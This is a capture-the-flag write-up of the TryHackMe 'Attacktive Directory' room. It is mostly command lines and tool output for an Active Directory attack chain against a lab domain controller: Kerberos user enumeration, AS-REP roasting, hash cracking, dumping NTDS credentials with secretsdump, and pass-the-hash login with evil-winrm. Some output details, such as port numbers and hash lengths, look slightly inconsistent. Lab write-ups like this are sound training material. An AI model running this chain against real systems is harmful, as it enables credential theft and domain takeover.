

TryHackMe — Attacktive Directory

TryHackMe — Attacktive Directory

Write-up: <https://tryhackme.com/room/attacktivedirectory>

Reconnaissance

I ran an nmap scan; the result makes it clear this is a domain controller:

```
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
80/tcp    open  http         Microsoft IIS httpd 10.0
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/10.0
|_ http-title: IIS Windows Server
808/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-12 08:29:38Z)
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp    open  ldap         Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp    open  microsoft-ds?
464/tcp    open  kpasswd5?
593/tcp    open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp    open  tcpwrapped
3268/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp   open  tcpwrapped
3389/tcp   open  ms-wbt-server Microsoft Terminal Services
|_ ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
|_ Not valid before: 2026-07-11T07:36:56
|_ Not valid after: 2027-01-10T07:36:56
|_ ssl-date: 2026-07-12T08:30:52+00:00; -1s from scanner time.
|_ rdp-ntlm-info:
|_ Target_Name: THM-AD
|_ NetBIOS_Domain_Name: THM-AD
|_ NetBIOS_Computer_Name: ATTACKTIVEDIREC
|_ DNS_Domain_Name: spookysec.local
|_ DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|_ Product_Version: 10.0.17763
|_ System_Time: 2026-07-12T08:30:43+00:00
5985/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
9389/tcp   open  mc-nmf        .NET Message Framing
47001/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-title: Not Found
```

```
9389/tcp   open  mc-nmf        .NET Message Framing
47001/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-title: Not Found
|_ http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp  open  msrpc        Microsoft Windows RPC
49665/tcp  open  msrpc        Microsoft Windows RPC
49666/tcp  open  msrpc        Microsoft Windows RPC
49669/tcp  open  msrpc        Microsoft Windows RPC
49670/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49672/tcp  open  msrpc        Microsoft Windows RPC
49673/tcp  open  msrpc        Microsoft Windows RPC
49677/tcp  open  msrpc        Microsoft Windows RPC
49688/tcp  open  msrpc        Microsoft Windows RPC
49698/tcp  open  msrpc        Microsoft Windows RPC
49836/tcp  open  msrpc        Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ )
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=7/12%OT=53%CT=1%CU=35686%PV=Y%DS=3%DC=T%G=Y%TM=6A5350B
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S%TS=
OS:U)SEQ(SP=106%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=108%GCD=1%ISR
OS:=10A%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=108%GCD=1%ISR=10F%TI=I%CI=I%II=I%SS
OS:=S%TS=U)SEQ(SP=FE%GCD=1%ISR=110%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M4E8NW8N
OS:NS%O2=M4E8NW8NNS%O3=M4E8NW8%O4=M4E8NW8NNS%O5=M4E8NW8NNS%O6=M4E8NNS)WIN(W
OS:1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF
OS:0=M4E8NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=0%A=S+F=AS%RD=0%Q=)T2(R=Y%DF=Y%
OS:T=80%W=0%S=Z%A=S+F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=0%F=AR%O=%RD
OS:=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=0%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%
OS:=Z%A=S+F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=0%F=R%O=%RD=0%Q=)T7(R
OS:=Y%DF=Y%T=80%W=0%S=Z%A=S+F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%
OS:RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
```

Using the **enum4linux** tool, I found the NetBIOS domain name:

```
===== ( Getting domain SID for 10.113.185.69 ) =====
Domain Name: THM-AD
Domain Sid: S-1-5-21-3591857110-2884097990-301047963
[+] Host is part of a domain (not a workgroup)
```

I also need to find the full DNS domain name:

```

kali@kali:~/tmp
$ crackmapexec smb 10.113.185.69
SMB 10.113.185.69 445 ATTACKTIVEDIREC [+] Windows 10 / Server 2019 Build 17763 x64 (name:ATTACKTIVEDIREC) (domain:spookysec.local) (signing:True) (SMBv1:False)

```

The nmap scan results show that Kerberos is used on the domain (port 88), so it's possible to enumerate valid usernames without locking out any accounts. This attack works because the Key Distribution Center (KDC) responds differently to registered and unregistered users in the system. For this I used the **kerbrute** tool:

```

kali@kali:~/Downloads
$ ./kerbrute_linux_386 userenum --dc 10.113.185.69 -d spookysec.local /tmp/userlist.txt

```



Version: v1.0.3 (9dad6e1) - 07/12/26 - Ronnie Flathers @ronpno

```

2026/07/12 04:04:56 > Using KDC(s):
2026/07/12 04:04:56 > 10.113.185.69:88

2026/07/12 04:04:56 > [+] VALID USERNAME: james@spookysec.local
2026/07/12 04:04:58 > [+] VALID USERNAME: svc-admin@spookysec.local
2026/07/12 04:04:58 > [+] VALID USERNAME: James@spookysec.local
2026/07/12 04:04:59 > [+] VALID USERNAME: robin@spookysec.local
2026/07/12 04:05:02 > [+] VALID USERNAME: darkstar@spookysec.local
2026/07/12 04:05:04 > [+] VALID USERNAME: administrator@spookysec.local
2026/07/12 04:05:08 > [+] VALID USERNAME: backup@spookysec.local
2026/07/12 04:05:10 > [+] VALID USERNAME: paradox@spookysec.local
2026/07/12 04:05:22 > [+] VALID USERNAME: JAMES@spookysec.local
2026/07/12 04:05:26 > [+] VALID USERNAME: Robin@spookysec.local
2026/07/12 04:05:50 > [+] VALID USERNAME: Administrator@spookysec.local
2026/07/12 04:06:38 > [+] VALID USERNAME: Darkstar@spookysec.local
2026/07/12 04:06:53 > [+] VALID USERNAME: Paradox@spookysec.local
2026/07/12 04:07:46 > [+] VALID USERNAME: DARKSTAR@spookysec.local
2026/07/12 04:08:01 > [+] VALID USERNAME: ori@spookysec.local
2026/07/12 04:08:34 > [+] VALID USERNAME: ROBIN@spookysec.local
2026/07/12 04:09:43 > Done! Tested 73317 usernames (16 valid) in 287.166 seconds

```

Now, for these usernames, I can try an AS-REP attack — i.e. try to obtain a user's password hash without authentication. In AS-REP Roasting, we simply request a Kerberos ticket for a specific user, and because pre-authentication is disabled, the server returns it without any checks.

```

kali@kali:~/tmp
$ python3 /opt/Impacket/examples/GetNPUsers.py spookysec.local/ -dc-ip 10.113.185.69 -usersfile valid_users.txt -request
Impacket v0.14.0.dev0+20260708.160148.cbc4f86 - Copyright Fortra, LLC and its affiliated companies

[-] User james@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-admin@spookysec.local$spookysec.LOCAL:3d9742662f55d6fa8cb36af26802da7c516396bda8bb3ce4479699a76e517e6455fabb06b46e79e55c7b4722761fb30e41257
a2a73b72cb4371694522287024f96f6efb717d5144bd4b895bd45e9303fde5bd08ff2d412335e35a090fd38a1f25165d964ea8b186c6af61ab9548878d7ea3f281de09ef8bab580023cd8d44e
964db0ccce5a9f879eb838f83b2ab1123f473202fe4606f4527f1b46fcedc1b621c23b72754bb0109f20a69342fcea9e9249e1f2ee38976f8a8acfd2233c19f0a28c78da956f8bc5225acd511c2
2bf76ecca240652d4f6cd05f66684b3a3affa04d0613e50f4cd145341de491f63816cfceea803bceb149a9c444482c:management2005

[-] User James@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robin@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User darkstar@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User backup@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User paradox@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User JAMES@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Robin@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Darkstar@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Paradox@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User DARKSTAR@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ori@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ROBIN@spookysec.local doesn't have UF_DONT_REQUIRE_PREAUTH set

```

This way I obtained the password hash for **svc-admin**.

Cracking it with **hashcat**:

```

$ hashcat -m 10800 $krb5asrep$23$svc-admin@spookysec.local$spookysec.LOCAL:3d9742662f55d6fa8cb36af26802da7c516396bda8bb3ce4479699a76e517e6455fabb06b46e79e55c7b4722761fb30e41257
a2a73b72cb4371694522287024f96f6efb717d5144bd4b895bd45e9303fde5bd08ff2d412335e35a090fd38a1f25165d964ea8b186c6af61ab9548878d7ea3f281de09ef8bab580023cd8d44e
964db0ccce5a9f879eb838f83b2ab1123f473202fe4606f4527f1b46fcedc1b621c23b72754bb0109f20a69342fcea9e9249e1f2ee38976f8a8acfd2233c19f0a28c78da956f8bc5225acd511c2
2bf76ecca240652d4f6cd05f66684b3a3affa04d0613e50f4cd145341de491f63816cfceea803bceb149a9c444482c:management2005

```

Enumerating all SMB shares and their access levels:

```

kali@kali:~/tmp
$ netexec smb 10.113.185.69 -u 'svc-admin' -p 'management2005' --shares
SMB 10.113.185.69 445 ATTACKTIVEDIREC [+] Windows 10 / Server 2019 Build 17763 x64 (name:ATTACKTIVEDIREC) (domain:spookysec.local) (signing:True) (SMBv1:False)
SMB 10.113.185.69 445 ATTACKTIVEDIREC [+] spookysec.local/svc-admin:management2005
SMB 10.113.185.69 445 ATTACKTIVEDIREC [+] Enumerated shares
SMB 10.113.185.69 445 ATTACKTIVEDIREC Share Permissions Remark
SMB 10.113.185.69 445 ATTACKTIVEDIREC ADMIN$ Remote Admin
SMB 10.113.185.69 445 ATTACKTIVEDIREC backup READ Default share
SMB 10.113.185.69 445 ATTACKTIVEDIREC CS READ Remote IPC
SMB 10.113.185.69 445 ATTACKTIVEDIREC IPC$ READ Logon server share
SMB 10.113.185.69 445 ATTACKTIVEDIREC NETLOGON READ Logon server share
SMB 10.113.185.69 445 ATTACKTIVEDIREC SYSVOL READ Logon server share

```

It turns out I can access the **backup** share. I go in, download the file located there, and read its contents:

```

(kali@kali)-[/tmp]
$ smbclient //10.113.185.69/backup -U 'svc-admin'
Password for [WORKGROUP\svc-admin]:
session setup failed: NT_STATUS_LOGON_FAILURE

(kali@kali)-[/tmp]
$ smbclient //10.113.185.69/backup -U 'svc-admin'
Password for [WORKGROUP\svc-admin]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0      Sat Apr  4 15:08:39 2020
..               D          0      Sat Apr  4 15:08:39 2020
backup_credentials.txt  A        48      Sat Apr  4 15:08:53 2020

8247551 blocks of size 4096. 3968982 blocks available
smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit

(kali@kali)-[/tmp]
$ cat backup_credentials.txt
YmFja3VwQHhNb29reXNlYy55b2NhbmDpiYWNrdXAyNTE3ODYw

(kali@kali)-[/tmp]
$ cat backup_credentials.txt | base64 -d
backup@spookysec.local:backup2517860

```

As a result, I obtain credentials for yet another account. Storing such things on SMB is bad practice.

Having credentials for the **backup** user is quite significant, since it must have privileges in the system almost equal to an admin, due to its job of making system backups. The key thing to hunt for now is the **NTDS.dit** file, which stores user information as well as the NTLM hashes of their passwords.

Putting the plan into action:

```

$ sudo secretsdump.py spookysec.local/backup:backup2517860@10.113.185.69
[sudo] password for kali:
/usr/local/bin/secretsdump.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  import ('pkg_resources').run_script('impacket==0.14.0.dev0+20260708.160148.cb4f86', 'secretsdump.py')
Impacket v0.14.0.dev0+20260708.160148.cb4f86 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCE RPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DSSUAP method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e8c089c0 :::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026b4c21 :::

```

Now, having the admin's NTLM hash, I can log into the system via WinRM:

```

$ evil-winrm -i 10.113.185.69 -u 'Administrator' -H '0e0363213e37b94221497260b0bcb4fc'
Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

```

Obtaining all the flags:

```

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\Users\Administrator\Desktop\root.txt
TryHackMe{4ctiveD1rect0ryM4st3r}
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\Users\backup\Desktop\PrivESC.txt
TryHackMe{B4ckM3UpSc0tty!}
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\Users\svc-admin\Desktop\user.txt.txt
TryHackMe{K3rb3r0s_Pr3_4uth}
*Evil-WinRM* PS C:\Users\Administrator\Documents>

```